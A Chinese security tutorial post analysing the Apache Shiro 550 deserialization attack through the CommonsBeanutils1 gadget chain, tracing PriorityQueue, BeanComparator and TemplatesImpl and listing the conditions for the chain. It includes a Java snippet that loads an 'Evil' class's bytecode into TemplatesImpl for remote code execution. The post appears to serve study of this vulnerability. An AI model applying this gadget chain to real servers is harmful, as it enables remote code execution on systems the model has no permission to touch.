JAVA攻防-Shiro专题&key利用链&CB1链分析&入口点&调用链&执行地&Class加载

知识点:

Java攻防-Shiro反序列化-CB1链分析


演示案例-Java攻防-Shiro反序列化-Shiro 550 无CC依赖CB利用链分析

参考分析文章:https://www.freebuf.com/articles/web/319397.html

bash 复制代码
1、source,入口点,一般就是readObject方法
2、sink,执行点,一般动态方法执行,JNDI注入,写文件之类的
3、gadget,连接入口执行的多个类,有几个条件:
-类之间方法调用是链式的
-类实例之间的关系是嵌套的
-调用链上的类都需要是可以序列化的

原理:知识点1(入口点解释)

触发反序列化的重写readObject方法





原理:知识点2(CB链中的JavaBean利用)

bash 复制代码
PropertyUtils.getProperty(new Person(),"name");
自动调用Person对象里面的getName方法

PropertyUtils.getProperty(new TemplatesImpl(),"outputProperties")
自动调用TemplatesImpl对象里面的getOutputProperties方法



原理:知识点3(CB链中的写法调用)

bash 复制代码
defineClass实现动态类加载(RCE)
-> TemplatesImpl#newTransformer()
-> TemplatesImpl#getTransletInstance() 
-> TemplatesImpl#defineTransletClasses() 
-> TransletClassLoader#defineClass()
 
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazz.toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
 
而此条利用链,这三点分别为:
执行点:TemplatesImpt类->调用恶意类
调用链:BeanComparator类->利用javabean调用getOutputProperties()
入口点:PriorityQueue类->反射调用PropertyUtils.getPropert






一、入口

bash 复制代码
PriorityQueue#readObject



二、调用链

1、JDK自带链

bash 复制代码
->heapify
->siftDown(size值大于等于2)
->siftDownUsingComparator(comparator != null)
->comparator.compare(跟踪comparator)







2、CB依赖包的开始

bash 复制代码
->BeanComparator#compare(PropertyUtils.getProperty)


3、JDK自带链

bash 复制代码
PropertyUtils.getProperty传入的值->TemplatesImpl#getOutputProperties
条件1:(size值大于等于2)
条件2:comparator != null
条件3:property != null
条件4:o1=TemplatesImpl,this.property=outputProperties

三、触发漏洞的目标方法

bash 复制代码
TemplatesImpl链 (和fastjson不出网的链rce一致)
现在根据调用链分析即可,
跟进TemplatesImpl#newTransformer()触发RCE,
发现其调用了getTransletInstance(),
条件(name!=null)->所以setFieldValue(obj,"_name","123");
之后调用defineTransletClasses()
发现这里最开始有一个if(_bytecodes==0) 所以setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
-> TemplatesImpl#getOutputProperties()
-> TemplatesImpl#newTransformer() 
-> TemplatesImpl#getTransletInstance() 
-> TemplatesImpl#defineTransletClasses() 
-> TransletClassLoader#defineClass()





相关推荐
华如锦12 小时前
面了很多 Java转AI Agent方向,一些面试题总结
java·开发语言·人工智能·python·ai
睡不醒男孩03082312 小时前
CLup 6.x 版本中针对StarRocks 存算一体集群的完整操作手册
java·服务器·网络·clup
程序员黑豆13 小时前
Java中怎么实现字符串拼接呢【AI全栈开发】
java
java1234_小锋14 小时前
LangChain4j 开发Java Agent智能体- 多模态支持
java·开发语言·langchain4j
艳阳天_.14 小时前
星瀚弹框页面实现
java·前端·python
小熊美家熊猫系统15 小时前
电子合同技术实现与合规实践
java·开发语言·分布式
云烟成雨TD15 小时前
Agent Scope Java 2.x 系列【3】从零构建 ReActAgent
java·人工智能·agent
一只叫煤球的猫15 小时前
ThreadForge 源码解读二:一个 Task 从 submit 到完成,内部到底发生了什么?
java·后端·面试
阿狸猿15 小时前
论微服务架构及其应用
java·微服务·架构